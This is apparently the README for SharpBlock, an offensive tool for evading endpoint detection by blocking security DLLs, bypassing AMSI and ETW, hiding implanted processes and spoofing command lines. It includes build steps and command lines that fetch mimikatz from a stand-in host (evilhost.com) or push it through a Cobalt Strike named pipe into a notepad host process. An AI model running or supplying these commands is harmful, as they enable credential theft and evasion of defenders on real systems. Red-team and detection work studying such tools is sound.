SharpBlock is a method for bypassing EDR's active projection DLLs by preventing entry point execution. It provides a patchless AMSI and ETW bypass, hides implanted processes, and spoofs command line arguments.
To use SharpBlock, compile the project using Visual Studio 2019 Community Edition by opening the .sln file, selecting the "Release" configuration, and building.
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi